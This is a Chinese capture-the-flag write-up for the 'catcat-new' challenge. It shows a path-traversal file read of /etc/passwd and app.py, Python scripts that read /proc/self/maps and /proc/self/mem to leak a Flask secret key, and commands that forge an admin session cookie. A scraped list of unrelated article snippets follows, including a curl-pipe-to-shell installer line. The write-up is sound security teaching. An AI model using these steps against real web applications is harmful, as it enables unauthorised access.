攻防世界33 catcat-new【文件包含/flask_session伪造】
题目:

点击一只猫猫:

看这个url像是文件包含漏洞,试试
dirsearch扫出来/admin,访问也没成功(--delay 0.1 -t 5)


会的那几招全用不了了哈哈,那就继续看答案
先总结几个知识点
1./etc/passwd:是一个文本文件,存储了系统中所有用户的基本信息,任何用户都可以读取该文件,但只有超级用户(root)可以修改它,该文件的存在有助于系统识别和管理用户账户。
文件中的每一行代表一个用户账户,每行由冒号 : 分隔成 7 个字段,基本格式:
用户名:口令(密码):用户标识号(UID):组标识号(GID):注释性描述(相当于备注):用户主目录(用户登录系统后默认进入的目录):登录Shell(用户登录系统后默认使用的shell程序)
2. /proc/self :proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据,通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据
3./proc/self/cmdline 包含了当前进程启动时所使用的完整命令行参数(用来分析服务器运行环境,配置参数)。
4./proc/self/mem 当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。
5./proc/self/maps 包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。
6.flask的session构造:序列化内容+时间+防篡改值,默认session的储存是在用户Cookie中
7./proc/self/environ:该文件包含了当前进程的环境变量
8./proc/self/fd:这是一个目录,该目录下的文件包含着当前进程打开的文件的内容和路径。这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的fd目录下的pid文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容。通过/proc/self/fd/§pid§来查看你当前进程所打开的文件内容。
当pid不知道时,我们可以通过bp爆破,pid是数字。
9./proc/self/exe:获取当前进程的可执行文件的路径
做法:
搜索信息
1.file=../../etc/passwd(利用文件包含漏洞,会直接包含这个文件,前面../不够就多加几个)
![]()
b'root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nutmp:x:100:406:utmp:/home/utmp:/bin/false\n'
2.file=../../proc/self/cmdline(分析服务器运行环境,配置参数)![]()
b'python\x00app.py\x00'
说明当前进程是通过python app.py进行的,推测当前站点使用的是python的flask框架,该文件常常为flask项目结构中的主程序文件
获得源代码
3.获取app.py
![]()
b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)'
格式化输出的代码
#需要格式化的代码
code_str = '''import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n\n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n\n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n\n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)'''# 按行分割字符串
lines = code_str.split('\n')indented_lines = [line if line.strip() else '' for line in lines]# 连接并打印格式化后的代码
formatted_code = '\n'.join(indented_lines)
print(formatted_code)
得到结果
import os #与操作系统交互
import uuid #用于生成和操作通用唯一识别码uuid,此处用于生成 Flask 应用的 SECRET_KEY
from flask import Flask, request, session, render_template, Markup
from cat import cat
#关于这些模块的作用:
#Flask:用于创建 Flask 应用实例
#request:用于处理客户端发送的请求,获取请求中的参数
#session:用于管理用户会话,存储用户的会话数据
#render_template:用于渲染 HTML 模板
#Markup:用于处理 HTML 标记flag = "" #初始化
#创建flask应用实例
app = Flask(__name__,static_url_path='/', static_folder='static'
)
#设置 Flask 应用的 SECRET_KEY,用于会话管理和消息签名。
#这里使用 UUID 生成一个随机的密钥,并去除其中的连字符,再加上固定的字符串 *abcdefgh
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
#检查 /flag 文件是否存在
if os.path.isfile("/flag"):flag = cat("/flag")os.remove("/flag")#访问根路径的时候,执行index函数
@app.route('/', methods=['GET'])
def index():
#os.listdir:获取./details/目录下所有文件名detailtxt = os.listdir('./details/')cats_list = [] #创建列表,用于存储文件名去除扩展名后的部分
#i 是循环变量,在每次循环中,i 会依次取 detailtxt 列表中的每个元素 for i in detailtxt:
#index()用于查找字符串中指定字符(也就是i)第一次出现的位置(索引为0)
#i[:i.index('.')]:截取字符串的一部分。表示从字符串 i 的开头截取到.出现的位置(不包含.)
#append()用于在列表的末尾添加一个元素。cats_list.append(i[:i.index('.')])#渲染 index.html 模板,并将 cats_list 和 cat 函数传递给模板。return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET", 'POST'])
def info():
#request.args.get('file', ""):从HTTP请求的查询参数中获取 file 参数的值filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))#关键代码
@app.route('/admin', methods=["GET"])
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"#启动应用
if __name__ == '__main__':#确保代码作为脚本直接运行时才启动 Flask 应用。
#启动 Flask 应用,监听所有网络接口(host='0.0.0.0'),关闭调试模式,并指定端口号为 5637。app.run(host='0.0.0.0', debug=False, port=5637)
关键点在于session中的admin只要为1,就可以拿到flag,这里就用到flask_session伪造,需要用到secret_key(通过内存数据读取),在读取内存数据文件/proc/self/mem之前,我们要先读取/proc/self/maps文件获取可读内容的内存映射地址。
获取secret_key
脚本1
先用?file=../../../proc/self/maps

将返回的内容保存在txt (但是运行没成功?。。)
import re
import requestsmaps = open('攻防世界-catcat-new/test.txt') # 打开名为 'test.txt' 的文件并赋值给变量 maps
b = maps.read() # 读取文件内容并赋值给变量 b
lst = b.split('\\n') # 根据换行符 '\n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。for line in lst: # 遍历列表 lst 中的每一行内容if 'rw' in line: # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line) # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中start = int(addr.group(1), 16) # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 startend = int(addr.group(2), 16) # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 endprint(start, end) # 打印起始地址和结束地址# 构造请求URL,用于读取 /proc/self/mem 文件的特定区域url = f"http://61.147.171.105:52968/info?file=../../../proc/self/mem&start={start}&end={end}"# 发送 GET 请求并获取响应response = requests.get(url)# 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEYsecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)# 如果找到了 SECRET_KEY,则打印并结束循环if secret_key:print(secret_key)break
脚本2
原理跟脚本1一样,只不过这个不用手动访问/proc/self/maps了,把这些内存的映射地址裂成列表,然后找到有rw的(可读可写),再访问/proc/self/mem&start={起始地址}&end={终止地址}
这里的起始地址就是-前面的,终止地址就是-后面的,但是得把它转换成十进制,读取对应的内存,如果发现secret_key格式的东西就打印出来

import requestsimport re #支持正则表达式操作import sys #用于访问和操作 Python 解释器的各种设置和状态信息url = "http://61.147.171.105:59089/"#此程序只能运行于Python3以上if sys.version_info[0] < 3: # < 3.0raise Exception('Must be using at least Python 3')#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret keys_key = ""bypass = "../.."#请求file路由进行读取map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")map_list = map_list.text.split("\\n")for i in map_list:#匹配指定格式的地址map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)if map_addr:#将提取到的十六进制地址字符串转换为十进制整数。#group() 是匹配对象的一个方法,用于获取指定捕获组匹配到的内容。#group(1) 表示获取第一个捕获组(即起始地址)匹配到的字符串 start = int(map_addr.group(1), 16)end = int(map_addr.group(2), 16)# print("Found rw addr:", start, "-", end)#设置起始和结束位置并读取/proc/self/mem(内存内容)res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")#f表示这是一个f-string,可以嵌入表达式print(f'{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}')#用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkeyif "*abcdefgh" in res.text:#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefghsecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)if secret_key:print("Secret Key:", secret_key[0])s_key = secret_key[0]break

抓包获得session
利用flask-session-cookie-manager-master解码:
python flask_session_cookie_manager3.py decode -s "4cdfceee9981498794c8408a1b375c4e*abcdefgh" -c "eyJhZG1pbiI6MH0.Z6l7pw.aOjXfOfFgyi-BipJJiG8ZnHNbjA"

再将{'admin':1}编码:
python flask_session_cookie_manager3.py encode -s "4cdfceee9981498794c8408a1b375c4e*abcdefgh" -t "{'admin':1}"

刷新一下/admin界面,然后修改session 
拿到flag

参考:攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园
相关文章:
攻防世界33 catcat-new【文件包含/flask_session伪造】
题目: 点击一只猫猫: 看这个url像是文件包含漏洞,试试 dirsearch扫出来/admin,访问也没成功(--delay 0.1 -t 5) 会的那几招全用不了了哈哈,那就继续看答案 先总结几个知识点 1./etc/passwd&am…...
Git -> Git配置密钥对,并查看公钥
Git密钥对的核心作用 私钥 (id_rsa) 你的数字身份证:存放在本机 ~/.ssh 目录下必须严格保密(类似银行卡密码),不可泄露或共享用于 解密 来自服务器的加密信息 公钥 (id_rsa.pub) 可公开的验证锁:需要上传到 Git 服…...
淘宝订单列表Fragment转场动画卡顿解决方案
如何应对产品形态与产品节奏相对确定情况下转变为『在业务需求与产品形态高度不确定性的情况下,如何实现业务交付时间与交付质量的确定性』。我们希望通过混合架构(Native 业务容器 Weex 2.0)作为未来交易终端架构的重要演进方向,…...
【ESP32指向鼠标】——icm20948与esp32通信
【ESP32指向鼠标】——icm20948与esp32通信 ICM-20948介绍 ICM-20948 是一款由 InvenSense(现为 TDK 的一部分)生产的 9 轴传感器集成电路。它结合了 陀螺仪、加速度计和磁力计。 内置了 DMP(Digital Motion Processor)即负责执…...
Xcode证书密钥导入
证书干嘛用 渠道定期会给xcode证书,用来给ios打包用,证书里面有记录哪些设备可以打包进去。 怎么换证书 先更新密钥 在钥匙串访问中,选择系统。(选登录也行,反正两个都要导入就是了)。 mac中双击所有 .p12 后缀的密钥ÿ…...
Ubuntu安装PgSQL17
参考官网教程,Ubuntu24 apt在线安装Postgres 17 1. 要手动配置 Apt 存储库 # 导入存储库签名密钥: sudo apt install curl ca-certificates sudo install -d /usr/share/postgresql-common/pgdg sudo curl -o /usr/share/postgresql-common/pgdg/apt…...
K8S容器启动提示:0/2 nodes are available: 2 Insufficient cpu.
问题:K8S的容器启动报错0/2 nodes are available: 2 Insufficient cpu. 原因:Pod的资源请求(requests)设置不当:在Kubernetes中,调度器根据Pod的requests字段来决定哪个节点可以运行该Pod。如果一个Pod声明…...
LabVIEW外腔二极管激光器稳频实验
本项目利用LabVIEW软件开发了一个用于外腔二极管激光器稳频实验的系统。系统能够实现激光器频率的稳定控制和实时监测,为激光实验提供了重要支持。 项目背景: 系统解决了外腔二极管激光器频率不稳定的问题,以满足对激光器频率稳定性要求较高…...
笔记6——字典dict(dictionary)
文章目录 字典dict(dictionary)定义特点常用操作1.访问值2.添加键值对3.修改值4.删除键值对5.遍历字典6.合并字典 性能应用场景dict和list的区别 字典dict(dictionary) 以 键 - 值对 (key - value pairs)的形式存储数据 定义 字典使用花括号 {} 来定义,键和值之…...
【MySQL】InnoDB单表访问方法
目录 1、背景2、环境3、访问类型【1】const【2】ref【3】ref_or_null【4】range【5】index【6】all 4、总结 1、背景 mysql通过查询条件查询到结果的过程就叫访问方法,一条查询语句的访问方法有很多种,接下来我们就来讲一下各种访问方法。 2、环境 创…...
APP端网络测试与弱网模拟!
当前APP网络环境比较复杂,网络制式有2G、3G、4G网络,还有越来越多的公共Wi-Fi。不同的网络环境和网络制式的差异,都会对用户使用app造成一定影响。另外,当前app使用场景多变,如进地铁、上公交、进电梯等,使…...
【个人开发】deepseed+Llama-factory 本地数据多卡Lora微调
文章目录 1.背景2.微调方式2.1 关键环境版本信息2.2 步骤2.2.1 下载llama-factory2.2.2 准备数据集2.2.3 微调模式2.2.4 微调脚本 2.3 踩坑经验2.3.1 问题一:ValueError: Undefined dataset xxxx in dataset_info.json.2.3.2 问题二: ValueError: Target…...
Redis7.0八种数据结构底层原理
导读 本文介绍redis应用数据结构与物理存储结构,共八种应用数据结构和 一. 内部数据结构 1. sds sds是redis自己设计的字符串结构有以下特点: jemalloc内存管理预分配冗余空间二进制安全(c原生使用\0作为结尾标识,所以无法直接存储\0)动态计数类型(根据字符串长度动态选择…...
Kafka 高吞吐量的底层技术原理
Kafka 之所以能够实现高吞吐量(每秒百万级消息处理),主要依赖于其底层设计和多项优化技术。以下是 Kafka 实现高吞吐量的关键技术原理: 1. 顺序读写磁盘 Kafka 利用磁盘的顺序读写特性,避免了随机读写的性能瓶颈。 顺…...
CCFCSP第34次认证第一题——矩阵重塑(其一)
第34次认证第一题——矩阵重塑(其一) 官网链接 时间限制: 1.0 秒 空间限制: 512 MiB 相关文件: 题目目录(样例文件) 题目背景 矩阵(二维)的重塑(reshap…...
网络工程师 (35)以太网通道
一、概念与原理 以太网通道,也称为以太端口捆绑、端口聚集或以太链路聚集,是一种将多个物理以太网端口组合成一个逻辑通道的技术。这一技术使得多个端口能够并行工作,共同承担数据传输任务,从而提高了网络的传输能力和可靠性。 二…...
O1、R1和V3模型
O1、R1和V3模型分别是不同团队或公司开发的人工智能模型,它们在定位、能力和应用场景上存在显著区别。以下是它们的详细对比: 1. 模型归属 O1模型:由OpenAI开发,属于其高性能推理模型系列。 R1和V3模型:由DeepSeek&a…...
Linux 安装 Ollama
1、下载地址 Download Ollama on Linux 2、有网络直接执行 curl -fsSL https://ollama.com/install.sh | sh 命令 3、下载慢的解决方法 1、curl -fsSL https://ollama.com/install.sh -o ollama_install.sh 2、sed -i s|https://ollama.com/download/ollama-linux|https://…...
docker配置国内源
配置Docker使用国内源(也称为镜像加速器)可以显著提高拉取Docker镜像的速度,特别是在中国地区。以下是如何配置Docker使用国内源的步骤: 1. 修改Docker配置文件 Docker的配置文件通常位于/etc/docker/daemon.json。如果该文件不…...
【leetcode】关于循环数组的深入分析
原题:https://leetcode.cn/problems/rotate-array/description/ 给定一个整数数组 nums,将数组中的元素向右轮转 k 个位置,其中 k 是非负数。 示例 1: 输入: nums [1,2,3,4,5,6,7], k 3 输出: [5,6,7,1,2,3,4] 解释: 向右轮转 1 步: [7,1…...
Android Wi-Fi 连接失败日志分析
1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分: 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析: CTR…...
盘古信息PCB行业解决方案:以全域场景重构,激活智造新未来
一、破局:PCB行业的时代之问 在数字经济蓬勃发展的浪潮中,PCB(印制电路板)作为 “电子产品之母”,其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透,PCB行业面临着前所未有的挑战与机遇。产品迭代…...
【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)
服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...
最新SpringBoot+SpringCloud+Nacos微服务框架分享
文章目录 前言一、服务规划二、架构核心1.cloud的pom2.gateway的异常handler3.gateway的filter4、admin的pom5、admin的登录核心 三、code-helper分享总结 前言 最近有个活蛮赶的,根据Excel列的需求预估的工时直接打骨折,不要问我为什么,主要…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...
今日科技热点速览
🔥 今日科技热点速览 🎮 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售,主打更强图形性能与沉浸式体验,支持多模态交互,受到全球玩家热捧 。 🤖 人工智能持续突破 DeepSeek-R1&…...
什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南
文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果作为Spring生态中的AI集成框架,其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似,但特别为多语…...
华硕a豆14 Air香氛版,美学与科技的馨香融合
在快节奏的现代生活中,我们渴望一个能激发创想、愉悦感官的工作与生活伙伴,它不仅是冰冷的科技工具,更能触动我们内心深处的细腻情感。正是在这样的期许下,华硕a豆14 Air香氛版翩然而至,它以一种前所未有的方式&#x…...
NXP S32K146 T-Box 携手 SD NAND(贴片式TF卡):驱动汽车智能革新的黄金组合
在汽车智能化的汹涌浪潮中,车辆不再仅仅是传统的交通工具,而是逐步演变为高度智能的移动终端。这一转变的核心支撑,来自于车内关键技术的深度融合与协同创新。车载远程信息处理盒(T-Box)方案:NXP S32K146 与…...
